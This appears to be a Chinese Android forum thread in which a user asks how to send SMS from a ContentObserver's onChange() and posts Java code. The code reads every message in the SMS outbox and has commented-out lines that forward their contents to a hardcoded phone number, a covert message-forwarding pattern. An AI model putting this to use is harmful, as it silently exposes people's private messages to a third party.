我想在数据观察者的 onChange()里写个发送短信的代码。可老发生异常。
如何写呀?最好来点代码。有什么注意事项吗?
请教老师哈短信
如何写呀?最好来点代码。有什么注意事项吗?
请教老师哈短信
解决方案 »
- 100分立贴求证!100分立贴求证!100分立贴求证!android中出现了process is bad
- 给跪了,大家帮我分析下为什么onOffsetsChanged()无法被调用~
- ubuntu下设置android开发环境错误
- 关于webservice
- 自己开发的android 软件怎么销售
- android 安装在手机上的名字
- svn for android
- win7 64位 开发环境无法发现4.0设备
- Activity和Fragment通信
- 怎样禁止下拉刷新?
- 那里能买到安卓彩信发送源代码,我的qq号2936592501
- android 4.0 如何实现在没有activity情况下开机自启动服务,非常急。。。
{
System.out.println("onChange");
// 查询发送箱中的短信(处于正在发送状态的短信放在发送箱)
Cursor cursor = getContentResolver().query(
Uri.parse("content://sms/outbox")
, null, null, null, null);
// 遍历查询得到的结果集,即可获取用户正在发送的短信
while (cursor.moveToNext())
{
StringBuilder sb = new StringBuilder();
// 获取短信的发送地址
sb.append("address=").append(cursor
.getString(cursor.getColumnIndex("address")));
// 获取短信的标题
sb.append(";subject=").append(cursor
.getString(cursor.getColumnIndex("subject")));
// 获取短信的内容
sb.append(";body=").append(cursor
.getString(cursor.getColumnIndex("body")));
// 获取短信的发送时间
sb.append(";time=").append(cursor
.getLong(cursor.getColumnIndex("date")));
System.out.println("Has Sent SMS::" + sb.toString());
//SmsManager smsManager = SmsManager.getDefault();
//smsManager.sendTextMessage("18635371881", null,sb.toString(), null,null);
}
}